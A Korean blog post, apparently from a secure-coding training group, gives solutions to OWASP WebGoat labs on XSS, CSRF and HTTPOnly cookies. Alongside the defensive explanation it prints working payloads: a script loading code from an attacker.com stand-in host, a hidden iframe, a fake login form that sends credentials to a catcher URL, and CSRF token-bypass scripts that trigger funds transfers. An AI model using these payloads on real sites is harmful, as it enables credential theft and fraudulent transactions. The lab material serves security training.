Cross-Site Scripting(XSS)


가장 널리 알려진 웹 애플리케이션 보안 결함으로 애플리케이션이 신뢰할 수 없는 데이터를 적절학 검증하지 않고 웹브라우저의 페이지에 전송할 경우 발생할 수 있다.


악의적인 사용자는 XSS 취약점이 있는 사이트에 악의적인 스크립트 코드를 삽입해서 게시물을 게시하거나 메일 전송하여 일반 사용자가 해당 코드를 실행하게 만들수 있다.


여기서 신뢰할수 없는 데이터란?

클라이언트 사이드에서 전송되는 모든 데이터라고 볼 수 있다.

. 폼필드 값

. GET 쿼리 파라미터 값

. 쿠키 내용

. HTTP헤더


 

사례:

<script>태그 삽입

< a href="http://sample.com/comment.cgi?mycomment=<script>악성코드</script>">

보러가기</a>

< a href="http://sample.com/comment.cgi?mycomment=<script

src='http://attacker.com/maliciouscode'></script>">

보러가기</a>

 

<iframe>삽입하여 악성코드가 포함된 사이트로 세션을 연결해 자동으로 프로그램을 다운로드 시킬수 있다.

<iframe src=http://sample.com/~bbs/hack.html name="Click Here" width="0" height="0"

frameborder="0"></iframe>

 

그럼 입력 유효성 검사는 어떻게 해야 할까?


- 화이트 리스트에 기반한 검증

- 블랙 리스트에 기반한 검증


블랙리스트 기반의 값은 체크 되지 않는 경우가 발생할 수 있으므로 중요한 정보의 경우 허용하는 리스트를 가지고 체크하는 화이트 리스트 기반의 검증방식이 안전할 수 있다.




1. Phishing with XSS


XSS HTML 삽입을 사용하여 다음의 목적을 달성하라

-       HTML삽입을 통해  credentials(인증정보)을 요청하게 한다.

-       credential(인증정보)을 모으는 자바스크립트를 작성하라

-       http://localhost/WebGoat/catcher?PROPERTY=yes... 로  Credential(인증정보)을 전송한다.


[해답]

Search 검색어 입력필드에 자바스크립트를 이용하여 가짜로 만들어진 인증요청화면을 출력하고, 입력되는 인증 정보를 원하는 사이트로 전송하게 한다.


<script>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+

document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("Had this been a real attack... Your credentials were just stolen. User Name = " +

document.phish.user.value + "Password = " + document.phish.pass.value);

}

</script>

<form name="phish">

<br><br><HR><H3>This feature requires account login:</H3 ><br><br>

Enter Username:<br><input type="text" name="user"><br>

Enter Password:<br><input type="password" name = "pass"><br>

<input type="submit" name="login" value="login" onclick="hack()">

</form><br><br>

<HR>

 

LAB: Cross Site Scripting

Stage 1: Stored XSS

Stage 2: Block Stored XSS using Input Validation

Stage 3: Stored XSS Revisited

Stage 4: Block Stored XSS using Output Encoding

Stage 5: Reflected XSS

Stage 6: Block Reflected XSS

 

 

2. Stored XSS Attacks


사용자가 입력한 데이터가 어플리케이션 내에 저장되어서 필터링되거나 불안전한 문자를 안전한 상태로 만드는 불순물 제거 작업이 수행되지 않고 다른 사용자에게 보여지는 경우에 발생한다.

 

첫째. 공격자는 악성코드가 담긴 조작된 데이터를 등록한다.

둘째. 희생자는 공격자의 데이터에 담긴 악성코드가 실행되는 페이지를 열람한다.

 

다른 사용자가 원하지 않는 페이지나 내용을 로드할 수 있도록 메시지내용을 추가한다.


[해답]

Title: 에 적당한 제목을 쓴다

Message: <script language="javascript" type="text/javascript">alert("XSS");</script>

를 등록한다. 등록하면 Message List에 메시지 제목이 출력된다.

이 메시지 제목을 클릭하면 자바스크립트가 실행된다.

 


3. Reflected Cross Site Scripting (XSS) Attacks


사용자의 유효하지 않은 입력값을 HTTP response로 사용하였을 때 XSS취약점이 발생할 수 있다. 서버측에서는 모든 입력값에 대한 검증작업이 반드시 수행되어야 한다.

 

공격자는 URL의 내용을 공격 스크립트로 변형시키고 그것을 다른 웹사이트 또는 이메일등을 이용해 자신이 만든 스크립트를 실행시키고 싶은 피해자들에게 보낼 수 있다.

 

이 경우 클라이언트의 값을 검증하지 않는 필드를 찾는 것이 중요하다.

입력값을 받는 필드에 순서대로 스크립트를 넣어서 테스트 해본다.

 

è 일반적인 Reflected XSS Attacks 순서

1. 사용자는 정상적으로 어플리케이션에 로그인한 후 세션 토큰을 포함하는 쿠키를 발행한다.

2. 공격자는 여러방법을 통해 사용자를 원하는 URL로 유도한다. URL은 내부에 자바스크립트를 포함하고 있다.

3. 사용자는 어플리케이션에 URL을 요청한다. 이 URL이 공격자에 의해 제공된 URL이다.

4. 서버는 사용자의 요청에 응답한다. 그 결과 서버는 공격자가 생성한 크로스 사이트 스크립팅 취약점을 포함한 자바스크립트를 사용자에게 보낸다.

5. 사용자는 어플리케이션으로부터 받은 코드를 실행하는 것과 동일한 방식으로 공격자로부터 받은 자바 스크립트를 실행한다.

6. 공격자는 사용자의 쿠키정보를 공격자가 소유가 도메인으로 전송하게 한다.

7. 공격자는 사용자의 세션을 도용하기위해 가로챈 토큰을 사용해 그 사용자의 개인정보에 대한 접근 권한을 얻고 세션을 도용 당한 사용자로 위장해 악의적인 행동을 수행한다.

 

스크립트가 포함된 값을 입력한다그리고 그 결과가 자기 브라우저에 반영되도록 한다.

 


[해답]

digit access code:  <script>alert('Bang!')</script> 스크립트를 입력하여 전송하면 해당 스크립트가 실행된다.

 


4. Cross Site Request Forgery (CSRF)


XSS기반을 둔 공격으로 이메일 또는 웹사이트 게시판에 HTML 이미지 태그 및 자바스크립트를 사용하여 악성코드 링크를 삽입한다. 이후 해당 글을 읽은 사용자를 악성코드가 은닉된 사이트로 자동 연결 시킨 후 개인이 사용하는 정보를 가로채는 기법이다.

 

뉴스그룹에 등록된 사용자들에게 악의적인 요청을 보낼 URL을 이미지로 포함시켜 메일을 전송한다.

URL을 포함하는 image 1x1 픽셀 크기로 설정한다.   URL transferFunds=4000 이라는 파라메터를 전달하도록 한다.

 

[해답]

Title: Test100

Message:

<img src="http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=4000"

width="1" height="1"/>

 

게시물을 작성하면 하단에 게시물 목록에 Test100이 업데이트 된다.

Test100게시물을 클릭한다. ß WebScarab proxy로 확인해보면 transferFunds=40000 파라메터값이 포함된 요청이 날라가는걸 확일할 수있다.

화면을 refresh하면 통과했다는 표시가 된다.

 

 

5. CSRF Prompt By-Pass


CSRF랩과 유사하다.  이번에는 여러 개의 악의적인 요청이 포함되게 한다첫번째는 funds를 전송하고 두번째는 첫번째 요청에 대한 확인을 요청하게 한다.

transferFunds=4000, transferFunds=CONFIRM 파라메터가 전달되는지 확인한다.

 

[해답]

var tokenvalue;

 

function readFrame1()

{

    var frameDoc = document.getElementById("frame1").contentDocument;

    var form = frameDoc.getElementsByTagName("form")[1];

    var token = form.CSRFToken.value;

    tokenvalue = '&CSRFToken='+token;

   

    loadFrame2();

}

 

function loadFrame2()

{

    var testFrame = document.getElementById("frame2");

    testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;     

}

<iframe

           src="http://localhost/WebGoat/attack?Screen=45&menu=900&transferFunds=40000"

           id="myFrame" frameborder="1" marginwidth="0"

           marginheight="0" width="800" scrolling=yes height="700"

           onload="document.getElementById('frame2').src='http://localhost/WebGoat/attack?Screen=45&menu=900&transferFunds=CONFIRM';">

</iframe>

   

       

6. CSRF Token By-Pass



[해답]

<script type="text/javascript">

var tokenvalue;

function readFrame1(){

    var frameDoc = document.getElementById("frame1").contentDocument;

    var form = frameDoc.getElementsByTagName("form")[1];

    var token = form.CSRFToken.value;

    tokenvalue = '&CSRFToken='+token;  

    loadFrame2();

}

function loadFrame2(){

   var testFrame = document.getElementById("frame2");

   testFrame.src="http://localhost/WebGoat/attack?Screen=2&menu=900&transferFunds=4000"

+tokenvalue;      

}

</script>

 

<iframe src="http://localhost/WebGoat/attack?Screen=2&menu=900&transferFunds=main"

           onload="readFrame1();"

           id="frame1" frameborder="1" marginwidth="0"

           marginheight="0" width="800" scrolling=yes height="600"></iframe>

<iframe id="frame2" frameborder="1" marginwidth="0"

           marginheight="0" width="800" scrolling=yes height="600"></iframe>

 


7. HTTPOnly Test



<script type="text/javascript">

function showMeTheCookie() {

    alert(document.cookie);

}

 

function normalCookie(){

    document.cookie="Name=Value";

    showMeTheCookie();

}

 

function httpOnlyCookie(){

    document.cookie="Name=Value; httpOnly";

    showMeTheCookie();

}

</script>

 

<FORM>

    <INPUT TYPE="BUTTON" onClick="normalCookie();" Value="Display Normal Cookie">

    <INPUT TYPE="BUTTON" onClick="httpOnlyCookie();" Value="Display httpOnly Cookie">

</FORM>

 

XSS를 막기위한 MS의 노력중의 하나가 httpOnly Cookie이다. 핵심은 클라이언트 측 자바 스크립트에서 쿠키를 접근하지 못하게 한다는 것이다. 즉 쿠키는 반드시http접근에 의해서만 노출된다. 즉 XSS에서 document.cookie를 접근할 수 없다.

 


브라우저가 HTTPOnly 쿠키 플래그를 지원하는지 테스트 한다.

HTTPOnly 를 설정하게 되면 unique2u 쿠키의값에 대한 write_protection을 걸어 클라이언트 측에서 수정하지 못하도록 한다.

 

[해답]

Set-Cookie: name=value:httpOnly  로 설정하면 쿠키값을 볼 수 없다.



8. Cross Site Tracing (XST) Attacks



 



 WebGoat: Cross-Site Scripting 솔루션 비디오 보기 (XSS)   


Size: N/A 



> 다양한 XSS 패턴  https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

이 패턴들에 대한 XSS Filter를 만들어서 방어할 수 있다.



블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹

티스토리 툴바